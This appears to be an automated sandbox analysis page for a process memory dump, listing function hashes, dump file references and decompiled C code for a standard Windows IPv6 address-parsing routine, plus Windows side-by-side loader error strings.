API String ID: 1560743067-0
Opcode ID: d851f9292d7a62cd11d9076cf94f5d597a50c29f5e92ef5440ff8f785cdcde93
Instruction ID: f30e335a23d131c3841e538efcf8c921e596544f6574bdbcad66015e0410ab11
Opcode Fuzzy Hash: d851f9292d7a62cd11d9076cf94f5d597a50c29f5e92ef5440ff8f785cdcde93
Instruction Fuzzy Hash: D2316F75A54249AFDB44CF58C845F9AB7E4FB0A324F258256F914CB341DB31ED90CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E1D55, Relevance: 3.2, APIs: 2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d8dd07c11d1a5f74bfee779e08ede05003f41b7c1d5ded476935249e3b3282b
Instruction ID: 40eec26c53c532998ce8af266c1b3c67b9750817922e27d086b0154a777388d5
Opcode Fuzzy Hash: 3d8dd07c11d1a5f74bfee779e08ede05003f41b7c1d5ded476935249e3b3282b
Instruction Fuzzy Hash: D0815B71E002199FDB19CFA8C4809ECB7B5FF5A314B344659E421EB396DB31D945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9435D0, Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105 ref: 6A9860B6

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus
String ID:
API String ID: 1596131371-0
Opcode ID: 30eed5ecc1f84c9a780fde9b3728efd9a2197b3efb681f3882fcb92c5885e314
Instruction ID: 609be1b3b553b73dd448dd7a8f85fe5b60d6c3427bcea886dc2fa048d712312c
Opcode Fuzzy Hash: 30eed5ecc1f84c9a780fde9b3728efd9a2197b3efb681f3882fcb92c5885e314
Instruction Fuzzy Hash: 98612770624611AFEB248E3AC945B37F3E5EB45304F318959EAA28F2C5DF74E841CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D67E2, Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27140ac88ed7775e4a49485385c6d2f2537f1b74a349b3785f09252c78a951a4
Instruction ID: 1589a55f2869c6ab0a7a5a724ca97e2a03b1d98450a2199ffec71bd514b702ce
Opcode Fuzzy Hash: 27140ac88ed7775e4a49485385c6d2f2537f1b74a349b3785f09252c78a951a4
Instruction Fuzzy Hash: 80021334228E519AD764DF2DC440271BBF1EF46300B21C59ADAE5CF2A1DB39E8D6DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A92B090, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: a5f382bd95f9b1653119a54adf1c7e4f4ababad302f5face109e66b69000d4b3
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: F6D1EE31B693069BFB61CE28C4C065AB7F9AF96314B398168DC64CB24FEF31D8418760

Uniqueness

Uniqueness Score: -1.00%

Function 6A910D20, Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd01043dfd6da102ed22ad1e76c05e68f4cfd9f2a851ea58be11ba44bdc890d
Instruction ID: 8c87d311e65caaff2b27395933d8e1ee019cacbceb515f1431cb48410341673d
Opcode Fuzzy Hash: 4fd01043dfd6da102ed22ad1e76c05e68f4cfd9f2a851ea58be11ba44bdc890d
Instruction Fuzzy Hash: 7CD1AD30E4C21DABEB18CE99D5D17ADBBB5AF46300F318029D461A7385DB76CDA1CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A948840, Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction ID: a8f857ef9f1bc1a3606bea69cafd5259858a2313be51a16199b29b4281db7893
Opcode Fuzzy Hash: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction Fuzzy Hash: 50B13C62B585119BD71C8918C8A537E3267EFD6310F3ACA69C9225F7D9DE38C9019382

Uniqueness

Uniqueness Score: -1.00%

Function 6A94EBB0, Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: 0c5f158c7ba0934f6d5d7474d0e7e31c3123723b85b3aafe4e135170837c336b
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 1C816861A483568BEB248E6CC4D02EEBB74EF53704F3D4ABAD8518F742CA24D846D791

Uniqueness

Uniqueness Score: -1.00%

Function 6A93AB40, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d89d16aa549da58fa59a9169e32e0646f450b5278a8b37d8877b5c27b3576c
Instruction ID: 5a7b2e353f4ff30eb8f4b143bac7e9cbdea8c08260cd11d81222f6da919c8c7e
Opcode Fuzzy Hash: e3d89d16aa549da58fa59a9169e32e0646f450b5278a8b37d8877b5c27b3576c
Instruction Fuzzy Hash: 9181F632A002299FDF14CE69C49076AB7F5FF81315F264299D860AFB81CA32ED40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CFA2B, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b87dadb4d5560fe797427ee3593ad5a9349e4faa0e79d09623d0e96efb83232
Instruction ID: 8d8d71af5d2f170a4633e067b2ddeed6dc3974ef1e468d6790bdf217a0ba8cd2
Opcode Fuzzy Hash: 0b87dadb4d5560fe797427ee3593ad5a9349e4faa0e79d09623d0e96efb83232
Instruction Fuzzy Hash: 46818F70A44B459FDB18CF59C4406B9FBF5FF09308F60815AE856AB681EB38D881CF66

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D1002, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce9f4a921932204ece417c6f916ec7e6f8ddb1df380fc948c795729606276589
Instruction ID: df8ee03d7f63655cb7405d6fd8b43f926a0b0835420f9698a446541a0a951e00
Opcode Fuzzy Hash: ce9f4a921932204ece417c6f916ec7e6f8ddb1df380fc948c795729606276589
Instruction Fuzzy Hash: F271AC36A00B62CBDB18EF55C49023AB3F5FB46304B71C46ED9A2C7260DB71E995DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E32A9, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c69ce44fad515b3d2beb8c3e20a69c3df7990fe4f3cc8736b747e38d31c421a4
Instruction ID: 9d088d2f5cb98046d3da58cc2fc82e0e6d8e64f7d3012a24d0899ab36f1b1f54
Opcode Fuzzy Hash: c69ce44fad515b3d2beb8c3e20a69c3df7990fe4f3cc8736b747e38d31c421a4
Instruction Fuzzy Hash: 0C21E5326142058FD71ACE39C880A67F7A6FF95314BA29578D960C72A7DF70E886C790

Uniqueness

Uniqueness Score: -1.00%

Function 6A94ABD8, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction ID: 282e0523812534f3154a7770f74ce824071d352b4bf35a595346016e668e94ed
Opcode Fuzzy Hash: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction Fuzzy Hash: B421E7302086169BDB688F29C4946E2B7E9EF96309F61812AD4D587A41DB20F806CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A946B90, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction ID: e99fc2f9984f329751c62f7dbbea8fa791ce16bf48d73c3fff020a6e13dc1576
Opcode Fuzzy Hash: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction Fuzzy Hash: A6F062B5A08209DFDB58CF44C994BACB7B5EB44710F3140BCE6169B700DA39EE00DB40

Uniqueness

Uniqueness Score: -1.00%

Function 6A916CA0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A916CA0(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;
				signed short _t58;
				signed short _t59;
				void* _t60;
				signed short _t61;
				signed short _t62;
				signed short _t63;
				signed short _t69;
				signed short _t73;
				signed short _t74;
				signed short _t75;
				signed int _t82;
				intOrPtr _t83;
				signed short _t84;
				signed short _t86;
				signed short _t87;
				signed int _t88;
				void* _t92;
				signed int _t97;
				short _t98;
				signed short _t99;
				signed short _t101;
				signed short _t102;
				char _t103;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t118;
				intOrPtr* _t122;
				void* _t123;
				void* _t125;
				signed int _t127;
				signed int _t129;
				signed int _t130;
				signed short _t134;
				signed int _t136;
				intOrPtr* _t139;
				void* _t146;

				_t51 = _a4;
				if(_t51 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t52 = 0xc000000d;
				} else {
					_t103 =  *_t51;
					_t97 = 0;
					_v12 = 0;
					_v20 = 0;
					_v5 = _t103;
					_t146 = _t103 - 0x5b;
					if(_t146 == 0) {
						_t51 = _t51 + 1;
						__eflags = _t103 - 0x5b;
					}
					_v6 = _t146 == 0;
					if(E6A916D10(_t51,  &_v16, _a8) >= 0) {
						_t139 = _v16;
						_t54 = 0xa;
						__eflags =  *_t139 - 0x25;
						if( *_t139 != 0x25) {
							L22:
							__eflags =  *_t139 - 0x5d;
							if( *_t139 != 0x5d) {
								L51:
								_t98 = _v12;
								goto L52;
							} else {
								__eflags = _v5 - 0x5b;
								if(_v5 != 0x5b) {
									goto L6;
								} else {
									_t139 = _t139 + 1;
									_v6 = _t97;
									__eflags =  *_t139 - 0x3a;
									if( *_t139 != 0x3a) {
										goto L51;
									} else {
										_t139 = _t139 + 1;
										_v16 = _t54;
										_t129 = 0x10;
										__eflags =  *_t139 - 0x30;
										if( *_t139 == 0x30) {
											_t28 = _t139 + 1; // 0x4
											_t122 = _t28;
											_v16 = 8;
											_t139 = _t122;
											_t83 =  *_t139;
											__eflags = _t83 - 0x78;
											if(_t83 == 0x78) {
												L28:
												_v16 = _t129;
												_t31 = _t122 + 1; // 0x4
												_t139 = _t31;
											} else {
												__eflags = _t83 - 0x58;
												if(_t83 == 0x58) {
													goto L28;
												}
											}
										}
										_t58 =  *_t139;
										_v5 = _t58;
										__eflags = _t58;
										if(_t58 == 0) {
											goto L51;
										} else {
											_t99 = _v12;
											do {
												_t134 = _t58;
												_t59 = E6A95CB30(_t58, _t134);
												_pop(_t107);
												__eflags = _t59;
												if(_t59 == 0) {
													L36:
													_t60 = 0x10;
													__eflags = _v16 - _t60;
													if(_v16 != _t60) {
														goto L6;
													} else {
														_t61 = E6A95CB30(_t60, _t134);
														_pop(_t108);
														__eflags = _t61;
														if(_t61 == 0) {
															goto L6;
														} else {
															_t62 = E6A95CDD0(_t108, _t134);
															__eflags = _t62;
															if(_t62 == 0) {
																goto L6;
															} else {
																_t63 = E6A95CB30(_t62, _t134);
																_pop(_t110);
																__eflags = _t63;
																if(_t63 == 0) {
																	L42:
																	_push(0x41);
																} else {
																	_t74 = E6A95CCE0(_t110, _t134);
																	__eflags = _t74;
																	if(_t74 == 0) {
																		goto L42;
																	} else {
																		_push(0x61);
																	}
																}
																_pop(_t111);
																_t68 = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134;
																__eflags = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 - 0xffff;
																if(((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 > 0xffff) {
																	goto L6;
																} else {
																	_v12 = _v12 << 4;
																	_t69 = E6A95CB30(_t68, _t134);
																	_pop(_t112);
																	__eflags = _t69;
																	if(_t69 == 0) {
																		L47:
																		_push(0x41);
																	} else {
																		_t73 = E6A95CCE0(_t112, _t134);
																		__eflags = _t73;
																		if(_t73 == 0) {
																			goto L47;
																		} else {
																			_push(0x61);
																		}
																	}
																	_pop(_t113);
																	asm("cbw");
																	_t114 = 0xa;
																	_t99 = _v12 + _v5 - _t113 + _t114;
																	__eflags = _t99;
																	_v12 = _t99;
																	goto L49;
																}
															}
														}
													}
												} else {
													_t75 = E6A95CC80(_t107, _t134);
													__eflags = _t75;
													if(_t75 == 0) {
														goto L36;
													} else {
														_t118 = _v16;
														_t130 = _t118 & 0x0000ffff;
														__eflags = _t134 - 0x30 - _t130;
														if(_t134 - 0x30 >= _t130) {
															goto L36;
														} else {
															__eflags = (_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 - 0xffff;
															if((_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 > 0xffff) {
																goto L6;
															} else {
																asm("cbw");
																_t82 = _t118 * _v12 - 0x00000030 + _v5 & 0x0000ffff;
																_v12 = _t82;
																_t99 = _t82;
																goto L49;
															}
														}
													}
												}
												goto L7;
												L49:
												_t139 = _t139 + 1;
												_t58 =  *_t139;
												_v5 = _t58;
												__eflags = _t58;
											} while (_t58 != 0);
											L52:
											__eflags =  *_t139;
											if( *_t139 != 0) {
												goto L6;
											} else {
												__eflags = _v6;
												if(_v6 != 0) {
													goto L6;
												} else {
													 *_a16 = _t98;
													 *_a12 = _v20;
													_t52 = 0;
												}
											}
										}
									}
								}
							}
						} else {
							_t139 = _t139 + 1;
							_t101 =  *_t139;
							_t135 = _t101;
							_t84 = E6A95CB30(_t54, _t101);
							_pop(_t123);
							__eflags = _t84;
							if(_t84 == 0) {
								goto L6;
							} else {
								_t85 = E6A95CC80(_t123, _t135);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L6;
								} else {
									__eflags = _t101;
									if(_t101 == 0) {
										L21:
										_t97 = _v12;
										_t54 = 0xa;
										goto L22;
									} else {
										_t136 = _v12;
										while(1) {
											__eflags = _t101 - 0x5d;
											if(_t101 == 0x5d) {
												goto L21;
											}
											_t102 = _t101;
											_t86 = E6A95CB30(_t85, _t102);
											_pop(_t125);
											__eflags = _t86;
											if(_t86 == 0) {
												goto L6;
											} else {
												_t87 = E6A95CC80(_t125, _t102);
												__eflags = _t87;
												if(_t87 == 0) {
													goto L6;
												} else {
													_t88 = _v20;
													_t127 = 0xa;
													_v16 = _t88 * _t127;
													asm("cdq");
													_v16 = _v16 + _t102;
													asm("adc ecx, edx");
													_t92 = _v16 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t88 * _t127 >> 0x20 - _t136;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L20:
															_t85 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t139 = _t139 + 1;
															_v20 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t101 =  *_t139;
															__eflags = _t101;
															if(_t101 != 0) {
																continue;
															} else {
																goto L21;
															}
														} else {
															__eflags = _t92 - 0xffffffff;
															if(_t92 > 0xffffffff) {
																goto L6;
															} else {
																goto L20;
															}
														}
													}
												}
											}
											goto L7;
										}
										goto L21;
									}
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t52;
			}

0x6a916ca5
0x6a916cb0
0x6a916cef
0x6a916cef
0x6a916cc4
0x6a916cc4
0x6a916cc6
0x6a916cc8
0x6a916ccb
0x6a916cce
0x6a916cd1
0x6a916cd4
0x6a916cfd
0x6a916cfe
0x6a916cfe
0x6a916cdc
0x6a916ce9
0x6a971c19
0x6a971c1e
0x6a971c1f
0x6a971c22
0x6a971cc3
0x6a971cc3
0x6a971cc6
0x6a971e20
0x6a971e20
0x00000000
0x6a971ccc
0x6a971ccc
0x6a971cd0
0x00000000
0x6a971cd6
0x6a971cd6
0x6a971cd7
0x6a971cda
0x6a971cdd
0x00000000
0x6a971ce3
0x6a971ce3
0x6a971ce4
0x6a971ce9
0x6a971cea
0x6a971ced
0x6a971cef
0x6a971cef
0x6a971cf2
0x6a971cf9
0x6a971cfb
0x6a971cfd
0x6a971cff
0x6a971d05
0x6a971d05
0x6a971d08
0x6a971d08
0x6a971d01
0x6a971d01
0x6a971d03
0x00000000
0x00000000
0x6a971d03
0x6a971cff
0x6a971d0b
0x6a971d0d
0x6a971d10
0x6a971d12
0x00000000
0x6a971d18
0x6a971d18
0x6a971d1c
0x6a971d1c
0x6a971d20
0x6a971d25
0x6a971d26
0x6a971d28
0x6a971d76
0x6a971d78
0x6a971d79
0x6a971d7d
0x00000000
0x6a971d83
0x6a971d84
0x6a971d89
0x6a971d8a
0x6a971d8c
0x00000000
0x6a971d92
0x6a971d93
0x6a971d99
0x6a971d9b
0x00000000
0x6a971da1
0x6a971da2
0x6a971da7
0x6a971da8
0x6a971daa
0x6a971dbb
0x6a971dbb
0x6a971dac
0x6a971dad
0x6a971db3
0x6a971db5
0x00000000
0x6a971db7
0x6a971db7
0x6a971db7
0x6a971db5
0x6a971dc3
0x6a971dc9
0x6a971dcb
0x6a971dd0
0x00000000
0x6a971dd6
0x6a971dd6
0x6a971ddb
0x6a971de0
0x6a971de1
0x6a971de3
0x6a971df4
0x6a971df4
0x6a971de5
0x6a971de6
0x6a971dec
0x6a971dee
0x00000000
0x6a971df0
0x6a971df0
0x6a971df0
0x6a971dee
0x6a971dfd
0x6a971dfe
0x6a971e05
0x6a971e09
0x6a971e09
0x6a971e0c
0x00000000
0x6a971e0c
0x6a971dd0
0x6a971d9b
0x6a971d8c
0x6a971d2a
0x6a971d2b
0x6a971d31
0x6a971d33
0x00000000
0x6a971d35
0x6a971d35
0x6a971d3b
0x6a971d3e
0x6a971d40
0x00000000
0x6a971d42
0x6a971d4d
0x6a971d52
0x00000000
0x6a971d58
0x6a971d5f
0x6a971d68
0x6a971d6b
0x6a971d6e
0x00000000
0x6a971d6e
0x6a971d52
0x6a971d40
0x6a971d33
0x00000000
0x6a971e10
0x6a971e10
0x6a971e11
0x6a971e13
0x6a971e16
0x6a971e16
0x6a971e24
0x6a971e24
0x6a971e27
0x00000000
0x6a971e2d
0x6a971e2d
0x6a971e31
0x00000000
0x6a971e37
0x6a971e3e
0x6a971e47
0x6a971e49
0x6a971e49
0x6a971e31
0x6a971e27
0x6a971d12
0x6a971cdd
0x6a971cd0
0x6a971c28
0x6a971c28
0x6a971c29
0x6a971c2b
0x6a971c2f
0x6a971c34
0x6a971c35
0x6a971c37
0x00000000
0x6a971c3d
0x6a971c3e
0x6a971c44
0x6a971c46
0x00000000
0x6a971c4c
0x6a971c4c
0x6a971c4e
0x6a971cbd
0x6a971cbd
0x6a971cc2
0x00000000
0x6a971c50
0x6a971c50
0x6a971c53
0x6a971c53
0x6a971c56
0x00000000
0x00000000
0x6a971c58
0x6a971c5c
0x6a971c61
0x6a971c62
0x6a971c64
0x00000000
0x6a971c6a
0x6a971c6b
0x6a971c71
0x6a971c73
0x00000000
0x6a971c79
0x6a971c79
0x6a971c7e
0x6a971c81
0x6a971c88
0x6a971c89
0x6a971c8f
0x6a971c91
0x6a971c94
0x6a971c97
0x6a971c99
0x00000000
0x6a971c9f
0x6a971c9f
0x6a971caa
0x6a971cb1
0x6a971cb3
0x6a971cb4
0x6a971cb7
0x6a971cb9
0x6a971cbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6a971ca1
0x6a971ca1
0x6a971ca4
0x00000000
0x00000000
0x00000000
0x00000000
0x6a971ca4
0x6a971c9f
0x6a971c99
0x6a971c73
0x00000000
0x6a971c64
0x00000000
0x6a971c53
0x6a971c4e
0x6a971c46
0x6a971c37
0x00000000
0x00000000
0x00000000
0x6a916ce9
0x6a916cf4
0x6a916cfa

APIs

RtlIpv6StringToAddressA.1105(?,00000000,?,00000000), ref: 6A916CE2

Strings

[, xrefs: 6A971CCC

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID: [
API String ID: 27538981-784033777
Opcode ID: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction ID: 6dc916231b06011984c5041aefcae269108e97173ae420fb51651dca576c6d5d
Opcode Fuzzy Hash: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction Fuzzy Hash: 4571F631D0824A6BEB258A68D8B17AE7BB8AF07324F35455AD6E0D62D1DF34D582C730

Uniqueness

Uniqueness Score: -1.00%

Function 6A918EE6, Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 148COMMON

Download Yara Rule

Strings

SsHd, xrefs: 6A918F1B
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!, xrefs: 6A9734FF
SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu, xrefs: 6A97359D
SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu, xrefs: 6A97353D
SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!, xrefs: 6A9734F1
SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu, xrefs: 6A97355D
SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu, xrefs: 6A97358E
RtlpCrackActivationContextStringSectionHeader, xrefs: 6A9734EC, 6A9734FA, 6A973517, 6A973538, 6A973548, 6A973558, 6A973572, 6A973589, 6A973598
SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu, xrefs: 6A973577
SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu, xrefs: 6A97354D
SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu, xrefs: 6A97351C

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
